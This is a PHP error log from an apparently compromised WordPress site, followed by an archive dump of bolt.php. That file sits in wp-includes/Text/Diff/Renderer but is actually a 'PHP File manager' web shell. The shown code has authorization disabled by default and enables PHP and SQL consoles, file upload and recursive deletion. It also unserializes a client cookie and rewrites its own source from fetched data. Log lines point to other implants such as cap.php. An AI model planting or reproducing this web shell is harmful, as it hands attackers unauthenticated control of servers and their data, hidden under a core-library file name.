[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 18:48:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:49:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:50:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
                                                                                                                                                                                                                                                                                              bolt.php.tar                                                                                        0000644                 00000236000 15217301621 0007001 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
